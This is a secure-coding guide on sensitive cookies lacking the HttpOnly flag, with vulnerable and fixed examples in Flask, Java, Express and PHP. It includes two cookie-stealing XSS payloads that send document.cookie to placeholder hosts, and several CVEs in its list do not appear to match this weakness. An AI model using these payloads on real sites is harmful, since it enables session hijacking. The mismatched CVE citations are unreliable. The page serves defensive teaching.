Sensitive Cookie Without 'HttpOnly' Flag
Description
Sensitive Cookie Without 'HttpOnly' Flag occurs when a cookie containing sensitive information (such as session tokens) is created without the HttpOnly attribute. Without this flag, the cookie is accessible to client-side scripts through document.cookie. This makes the cookie vulnerable to theft through Cross-Site Scripting (XSS) attacks—if an attacker can execute JavaScript in the user's browser, they can steal the cookie and hijack the user's session.
Risk
Missing HttpOnly flag directly enables session hijacking through XSS. Even if XSS vulnerabilities are considered "mitigated," having HttpOnly provides defense in depth. JavaScript-accessible session cookies allow attackers to exfiltrate sessions with a single line of code: new Image().src='http://evil.com/steal?c='+document.cookie. Modern web applications face constant XSS threats from third-party scripts, browser extensions, and supply chain attacks. HttpOnly is a simple but critical defense layer.
Solution
Always set the HttpOnly flag on session cookies and other sensitive cookies. Use framework defaults that apply HttpOnly automatically. Combine HttpOnly with other cookie security attributes (Secure, SameSite). Implement Content Security Policy to reduce XSS risk. Audit all cookie-setting code for proper security attributes. Consider using cookie prefixes (__Host-, __Secure-) for additional protection. Store only references in cookies, not sensitive data directly.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Cookie Theft XSS attacks can read cookies without HttpOnly and send them to attacker-controlled servers. |
| Access Control | Scope: Session Hijacking Stolen session cookies enable attackers to impersonate authenticated users. |
| Integrity | Scope: Account Compromise Attackers with session access can modify user data and perform unauthorized actions. |
Example Code + Solution Code
Vulnerable Code
# VULNERABLE: Cookie without HttpOnly
from flask import Flask, make_response
@app.route('/login')
def login():
response = make_response('Logged in')
# Missing HttpOnly - accessible via document.cookie
response.set_cookie('session_id', session_id)
return response
# VULNERABLE: Flask session without HttpOnly configuration
app = Flask(__name__)
# Default might not set HttpOnly
# SESSION_COOKIE_HTTPONLY not configured
// VULNERABLE: Servlet cookie without HttpOnly
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
sessionCookie.setSecure(true);
// Missing: sessionCookie.setHttpOnly(true);
response.addCookie(sessionCookie);
}
}
// VULNERABLE: Older Java versions without HttpOnly support
// Manual header required
response.setHeader("Set-Cookie", "session=" + sessionId + "; Secure");
// HttpOnly not included!
// VULNERABLE: Express cookie without httpOnly
app.get('/login', (req, res) => {
res.cookie('sessionToken', token, {
secure: true
// Missing: httpOnly: true
});
res.send('Logged in');
});
// VULNERABLE: Manual cookie without httpOnly
app.get('/set', (req, res) => {
// Direct header - easy to forget httpOnly
res.setHeader('Set-Cookie', `token=${token}; Secure; Path=/`);
res.send('Set');
});
// VULNERABLE: Client-side cookie setting
// frontend.js
document.cookie = `preference=${value}; Secure`;
// Cannot set HttpOnly from JavaScript (by design)
// Sensitive data should never be in client-set cookies
// VULNERABLE: PHP cookie without httponly
<?php
setcookie('session', $session_id, time() + 3600, '/', '', true);
// 6th parameter (secure) is true, but httponly (7th) is missing
// VULNERABLE: PHP session without httponly
session_start();
// Default php.ini might not have session.cookie_httponly = 1
?>
Fixed Code
# SAFE: Cookie with HttpOnly flag
from flask import Flask, make_response
app = Flask(__name__)
# Configure session cookies
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # HttpOnly flag
SESSION_COOKIE_SECURE=True, # Secure flag
SESSION_COOKIE_SAMESITE='Lax' # SameSite attribute
)
@app.route('/login')
def login():
response = make_response('Logged in')
response.set_cookie(
'session_id',
session_id,
httponly=True, # Not accessible via JavaScript
secure=True, # Only sent over HTTPS
samesite='Lax', # CSRF protection
max_age=3600
)
return response
# SAFE: Using Flask-Login or similar
from flask_login import LoginManager
login_manager = LoginManager()
login_manager.session_protection = 'strong'
# Flask-Login handles secure cookie settings
// SAFE: Servlet cookie with HttpOnly
@WebServlet("/login")
public class SecureLoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
sessionCookie.setSecure(true); // Only HTTPS
sessionCookie.setHttpOnly(true); // No JavaScript access
sessionCookie.setPath("/");
sessionCookie.setMaxAge(3600);
response.addCookie(sessionCookie);
}
}
// SAFE: Spring Security cookie configuration
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setUseHttpOnlyCookie(true); // HttpOnly flag
serializer.setUseSecureCookie(true); // Secure flag
serializer.setSameSite("Lax"); // SameSite attribute
return serializer;
}
}
// SAFE: Manual header with all attributes
response.setHeader("Set-Cookie",
"session=" + sessionId +
"; Secure" +
"; HttpOnly" + // HttpOnly included
"; SameSite=Lax" +
"; Path=/" +
"; Max-Age=3600"
);
// SAFE: Express cookie with httpOnly
const express = require('express');
const cookieParser = require('cookie-parser');
app.use(cookieParser());
app.get('/login', (req, res) => {
res.cookie('sessionToken', token, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // Only sent over HTTPS
sameSite: 'lax', // CSRF protection
maxAge: 3600000, // 1 hour
path: '/'
});
res.send('Logged in');
});
// SAFE: Express session with httpOnly
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Critical!
secure: true,
sameSite: 'strict',
maxAge: 3600000
}
}));
// SAFE: Cookie helper function
function setSecureCookie(res, name, value, options = {}) {
const defaultOptions = {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 3600000,
path: '/'
};
res.cookie(name, value, { ...defaultOptions, ...options });
}
app.get('/login', (req, res) => {
setSecureCookie(res, 'session', sessionId);
res.send('Logged in');
});
// SAFE: PHP cookie with httponly
<?php
setcookie('session', $session_id, [
'expires' => time() + 3600,
'path' => '/',
'secure' => true, // HTTPS only
'httponly' => true, // No JavaScript
'samesite' => 'Lax' // CSRF protection
]);
// SAFE: PHP session configuration
// In php.ini or at runtime:
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.use_only_cookies', 1);
session_start();
// SAFE: Wrapper function
function secure_setcookie($name, $value, $expire = 0) {
setcookie($name, $value, [
'expires' => $expire ?: time() + 3600,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
}
secure_setcookie('auth_token', $token);
?>
Exploited in the Wild
XSS + Cookie Theft Attacks
Countless real-world attacks have combined XSS vulnerabilities with accessible session cookies. The MySpace Samy worm (2005) demonstrated large-scale cookie theft before HttpOnly was widely adopted.
Session Hijacking via Malicious Scripts
Third-party script compromises (Magecart attacks) have stolen session cookies from sites that didn't use HttpOnly, enabling mass session hijacking.
Browser Extension Attacks
Malicious browser extensions have been used to steal non-HttpOnly cookies from popular websites, affecting millions of users.
Tools to test/exploit
-
Browser DevTools — check cookie HttpOnly flag.
-
Burp Suite — analyze cookie attributes.
-
OWASP ZAP — scan for missing HttpOnly.
-
XSS payload:
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
CVE Examples
-
CVE-2021-29447 — WordPress cookie without HttpOnly.
-
CVE-2020-9484 — Apache Tomcat session persistence issue.
-
CVE-2019-11358 — jQuery prototype pollution affecting cookies.
References
-
MITRE. "CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag." https://cwe.mitre.org/data/definitions/1004.html
-
OWASP. "HttpOnly Cookie Attribute." https://owasp.org/www-community/HttpOnly